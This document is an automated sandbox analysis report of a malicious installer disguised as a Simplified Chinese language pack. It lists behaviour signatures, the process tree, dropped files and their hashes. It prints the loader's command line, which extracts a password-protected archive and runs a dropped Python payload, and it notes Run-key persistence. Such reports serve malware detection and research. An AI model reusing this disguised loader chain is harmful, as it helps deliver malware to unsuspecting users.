Analysis

  • max time kernel
    299s
  • max time network
    299s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    13/11/2026, 03:49

General

  • Target
    点击安装简体中文包.msi
  • Size 2.5MB
  • Sample261113-edd5vsft3t
  • SHA256 8079500fc6eeefa5cbbaf5a4d1933605a8091faf56189b0836ec48ae9637d096
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 3 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in Windows directory 7 IoCs
  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 60 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 57 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\点击安装简体中文包.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:3160
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Windows directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:728
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:3180
    • C:\Windows\system32\conhost.exe
      conhost.exe --headless cmd /c start tg://setlanguage?lang=classic-zh-cn&C:\ProgramData\Py\7z.exe x C:\ProgramData\Py\1.zip -oC:\ProgramData\Py -p123 -y && C:\ProgramData\Py\wzxl.exe C:\ProgramData\Py\wzxl.py
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4884
      • C:\Windows\system32\cmd.exe
        cmd /c start tg://setlanguage?lang=classic-zh-cn&C:\ProgramData\Py\7z.exe x C:\ProgramData\Py\1.zip -oC:\ProgramData\Py -p123 -y && C:\ProgramData\Py\wzxl.exe C:\ProgramData\Py\wzxl.py
        3⤵
        • Executes a command shell one-liner
        • Modifies registry class
        • Suspicious use of WriteProcessMemory
        PID:2232
        • C:\ProgramData\Py\7z.exe
          C:\ProgramData\Py\7z.exe x C:\ProgramData\Py\1.zip -oC:\ProgramData\Py -p123 -y
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of AdjustPrivilegeToken
          PID:3124
        • C:\ProgramData\Py\wzxl.exe
          C:\ProgramData\Py\wzxl.exe C:\ProgramData\Py\wzxl.py
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Adds Run key to start application
          • Reads the TCP/IP host and domain name from the registry
          • Suspicious use of WriteProcessMemory
          PID:4888
          • C:\Windows\System32\wbem\WmiPrvSE.exe
            C:\Windows\System32\wbem\WmiPrvSE.exe
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious behavior: GetForegroundWindowSpam
            PID:2080
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Checks SCSI registry key(s)
    • Suspicious use of AdjustPrivilegeToken
    PID:3596
  • C:\Windows\system32\OpenWith.exe
    C:\Windows\system32\OpenWith.exe -Embedding
    1⤵
    • Suspicious use of SetWindowsHookEx
    PID:5116

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        e594f42.rbs

        • Path C:\Config.Msi\e594f42.rbs
        • Size 894B
        • SHA256 4b283606281867553f513357b7a66d9e5ceea3fddfe1657a5349d1a37e0c666e
        • MD5 SHA1 SHA512 TLSH

        1.zip

        • Path C:\ProgramData\Py\1.zip
        • Size 1.4MB
        • SHA256 57e2cf9a525fbff7aeed7e2691cf49b2b5b88eeb048d056727b22ac97d5c3258
        • MD5 SHA1 SHA512 SSDEEP TLSH

        7z.dll

        • Path C:\ProgramData\Py\7z.dll
        • Size 1.8MB
        • SHA256 899cd73d7fc60e1c1c35c7de0f5bed3dc69bfe2cecbd48014d868a347970a0b1
        • MD5 SHA1 SHA512 SSDEEP TLSH

        7z.exe

        • Path C:\ProgramData\Py\7z.exe
        • Size 564KB
        • SHA256 95fff19b73eff77c87c0d7bd32822e43fb90dd2932459f962eb532d8dfb6ba53
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _ctypes.pyd

        • Path C:\ProgramData\Py\Lib\site-packages\_ctypes.pyd
        • Size 104KB
        • SHA256 7691f0ed13272fe3af7fc06edf7eda7f1898530b11fbcc1134da2a2f7a357769
        • MD5 SHA1 SHA512 SSDEEP TLSH

        UserDict.pyc

        • Path C:\ProgramData\Py\lib\UserDict.pyc
        • Size 8KB
        • SHA256 d36cf2c38412fe4adea3e1bb662d29fcaf614e9f90a604ccf6febcfb8a01ffbd
        • MD5 SHA1 SHA512 SSDEEP TLSH

        codecs.pyc

        • Path C:\ProgramData\Py\lib\codecs.pyc
        • Size 31KB
        • SHA256 82970853b3d7c326fe3174c397f04d98562db51888f5342855660d0bc35404af
        • MD5 SHA1 SHA512 SSDEEP TLSH

        copy_reg.pyc

        • Path C:\ProgramData\Py\lib\copy_reg.pyc
        • Size 4KB
        • SHA256 7d324feda1acef82f87537c930dbb043d7ae8d706271132812a95393b2b49ee8
        • MD5 SHA1 SHA512 SSDEEP TLSH

        __init__.pyc

        • Path C:\ProgramData\Py\lib\encodings\__init__.pyc
        • Size 4KB
        • SHA256 c93a8fe450b92cd1b056839117b208b2456dfebec531d542107ceab371f0ae5d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        aliases.pyc

        • Path C:\ProgramData\Py\lib\encodings\aliases.pyc
        • Size 8KB
        • SHA256 493f812c6c8c0b836f945313bfa077a1a19e66d807388727e3b324caf0a8ea78
        • MD5 SHA1 SHA512 SSDEEP TLSH

        linecache.pyc

        • Path C:\ProgramData\Py\lib\linecache.pyc
        • Size 3KB
        • SHA256 70dddd17922278faf4b62bb2528299343c5ba4723933ea3aed33a5dd8d685920
        • MD5 SHA1 SHA512 TLSH

        locale.pyc

        • Path C:\ProgramData\Py\lib\locale.pyc
        • Size 42KB
        • SHA256 9fa7011a44b8733536f5b14f75b6ef0b6e06392afee306d27f7fd35babd0f7aa
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ntpath.pyc

        • Path C:\ProgramData\Py\lib\ntpath.pyc
        • Size 11KB
        • SHA256 7207eff14b843ecbeb5427cbcb419e6bfeb4b620dd8df757e94bce01708d3852
        • MD5 SHA1 SHA512 SSDEEP TLSH

        os.pyc

        • Path C:\ProgramData\Py\lib\os.pyc
        • Size 23KB
        • SHA256 1a4fdaf511de15f69923d571a13e7c96986c98bfd4bd88994cee841d8a8f9e6a
        • MD5 SHA1 SHA512 SSDEEP TLSH

        re.pyc

        • Path C:\ProgramData\Py\lib\re.pyc
        • Size 12KB
        • SHA256 197fb00e526c3cf919576ec21fcc273c2e22810c26a7fb0933dd789e66ef0912
        • MD5 SHA1 SHA512 SSDEEP TLSH

        __init__.pyc

        • Path C:\ProgramData\Py\lib\site-packages\ctypes\__init__.pyc
        • Size 19KB
        • SHA256 e3a4409e94dd9c8c5e06976f1b91e8721aae7007d04d4b48f673e040047ba1fa
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _endian.pyc

        • Path C:\ProgramData\Py\lib\site-packages\ctypes\_endian.pyc
        • Size 2KB
        • SHA256 ae6dee595bc44d9a397fb1b12c42169376b6029b03c4c2974261860f53dde426
        • MD5 SHA1 SHA512 TLSH

        site.pyc

        • Path C:\ProgramData\Py\lib\site.pyc
        • Size 14KB
        • SHA256 413bb74919598a515c158de03c91afa2692ca727ee982dba469333d72ae4f647
        • MD5 SHA1 SHA512 SSDEEP TLSH

        sre_compile.pyc

        • Path C:\ProgramData\Py\lib\sre_compile.pyc
        • Size 11KB
        • SHA256 081e24cd871105eef96bbaa73bf76e3bc4497f4c6fba33350f4cf3a2abbc7816
        • MD5 SHA1 SHA512 SSDEEP TLSH

        sre_constants.pyc

        • Path C:\ProgramData\Py\lib\sre_constants.pyc
        • Size 5KB
        • SHA256 16cabda1ec6ca4ca608e531dd9ebebb50cb62eed064291acd8dcb003b9537c66
        • MD5 SHA1 SHA512 SSDEEP TLSH

        sre_parse.pyc

        • Path C:\ProgramData\Py\lib\sre_parse.pyc
        • Size 19KB
        • SHA256 4e0c61ec85364ce0bc87f599299705f1d04e21caaa48cead5701b2cdba6497d7
        • MD5 SHA1 SHA512 SSDEEP TLSH

        stat.pyc

        • Path C:\ProgramData\Py\lib\stat.pyc
        • Size 2KB
        • SHA256 eadd24ec05edd3477134ea23612b025c1806cbe410c0231c0cca2d143028a275
        • MD5 SHA1 SHA512 TLSH

        struct.pyc

        • Path C:\ProgramData\Py\lib\struct.pyc
        • Size 3KB
        • SHA256 ba4252cd47cba13e815c02ac75be6962f3f1efec3188cc9a12cebce925936f5c
        • MD5 SHA1 SHA512 TLSH

        types.pyc

        • Path C:\ProgramData\Py\lib\types.pyc
        • Size 2KB
        • SHA256 83fc8633ba9c87318386b1458c64c6f874e7885e64486c27a12825168282367c
        • MD5 SHA1 SHA512 TLSH

        warnings.pyc

        • Path C:\ProgramData\Py\lib\warnings.pyc
        • Size 7KB
        • SHA256 22fa4afa561dbd4f4491fe763eb774e16de8bd654420c89d924a17e70d7a1fd8
        • MD5 SHA1 SHA512 SSDEEP TLSH

        python25.dll

        • Path C:\ProgramData\Py\python25.dll
        • Size 2.6MB
        • SHA256 bf147f31d831ee13f867bf8db5bc17ab3fc5e6d71fbd7aa9fcc3e8c94448bd4a
        • MD5 SHA1 SHA512 SSDEEP TLSH

        wzxl.exe

        • Path C:\ProgramData\Py\wzxl.exe
        • Size 24KB
        • SHA256 d4d4b20842d23027f3b76084cb3ae15139b94a4bf5be83287e3914e1e44271d0
        • MD5 SHA1 SHA512 SSDEEP TLSH

        wzxl.py

        • Path C:\ProgramData\Py\wzxl.py
        • Size 585B
        • SHA256 6b9cd796bffb057da5a2d521594a9c3966d25c2580c148a5a029b4d4de6e59b2
        • MD5 SHA1 SHA512 TLSH

        xxx.bin

        • Path C:\ProgramData\Py\xxx.bin
        • Size 1KB
        • SHA256 5962f2a4016ba025b9f6fd1a4d6db1a0795acc3ade5f095948cdf0433bd70d95
        • MD5 SHA1 SHA512 TLSH

        time.txt

        • Path C:\ProgramData\dmb\time.txt
        • Size 16B
        • SHA256 54ceefc1350ccef8d0218b42bb5a9e5aad62c9d3bf02c558b2b2aa9a94d688a8
        • MD5 SHA1 SHA512

        metadata-2

        • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
        • Size 24.1MB
        • SHA256 c89e073a8c4158f4767a322c5ca7e41983553947f7822d0c9c4d16664b3ca7f3
        • MD5 SHA1 SHA512 SSDEEP TLSH

        {31776e85-0481-4ab2-ab31-7c19ab7a342e}_OnDiskSnapshotProp

        • Path \??\Volume{ba718129-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{31776e85-0481-4ab2-ab31-7c19ab7a342e}_OnDiskSnapshotProp
        • Size 6KB
        • SHA256 4ff660fc3a50b4f3c895531ccb36769dbd9ff78355e12bb6a6ed7206a6bed659
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/2080-114-0x0000017A6DAA0000-0x0000017A6DB1D000-memory.dmp

        memory/2080-112-0x0000017A6DAA0000-0x0000017A6DB1D000-memory.dmp

        memory/2080-128-0x0000017A6F460000-0x0000017A6F4A7000-memory.dmp

        memory/2080-127-0x0000017A6F460000-0x0000017A6F4A7000-memory.dmp

        memory/2080-129-0x0000017A6F460000-0x0000017A6F4A7000-memory.dmp

        memory/2080-102-0x0000017A6DAA0000-0x0000017A6DB1D000-memory.dmp

        memory/2080-105-0x0000017A6DAA0000-0x0000017A6DB1D000-memory.dmp

        memory/2080-94-0x0000017A6DAA0000-0x0000017A6DB1D000-memory.dmp

        memory/2080-103-0x0000017A6DAA0000-0x0000017A6DB1D000-memory.dmp

        memory/2080-92-0x0000017A6D810000-0x0000017A6D811000-memory.dmp

        memory/2080-117-0x0000017A6DAA0000-0x0000017A6DB1D000-memory.dmp

        memory/2080-116-0x0000017A6DAA0000-0x0000017A6DB1D000-memory.dmp

        memory/2080-115-0x0000017A6DAA0000-0x0000017A6DB1D000-memory.dmp

        memory/2080-130-0x0000017A6F460000-0x0000017A6F4A7000-memory.dmp

        memory/2080-113-0x0000017A6DAA0000-0x0000017A6DB1D000-memory.dmp

        memory/2080-132-0x0000017A6F460000-0x0000017A6F4A7000-memory.dmp

        memory/2080-111-0x0000017A6DAA0000-0x0000017A6DB1D000-memory.dmp

        memory/2080-110-0x0000017A6DAA0000-0x0000017A6DB1D000-memory.dmp

        memory/2080-109-0x0000017A6DAA0000-0x0000017A6DB1D000-memory.dmp

        memory/2080-91-0x0000017A6D780000-0x0000017A6D7F8000-memory.dmp

        memory/2080-131-0x0000017A6F460000-0x0000017A6F4A7000-memory.dmp

        memory/2080-104-0x0000017A6DAA0000-0x0000017A6DB1D000-memory.dmp

        memory/2080-119-0x0000017A6F460000-0x0000017A6F4A7000-memory.dmp

        memory/4888-80-0x0000000000090000-0x0000000000091000-memory.dmp

        memory/4888-84-0x00000000043F0000-0x000000000443A000-memory.dmp

        memory/4888-87-0x0000000140000000-0x000000014004F000-memory.dmp

        memory/4888-86-0x0000000140000000-0x000000014004F000-memory.dmp

        memory/4888-85-0x0000000140000000-0x000000014004F000-memory.dmp

        memory/4888-88-0x0000000140000000-0x000000014004F000-memory.dmp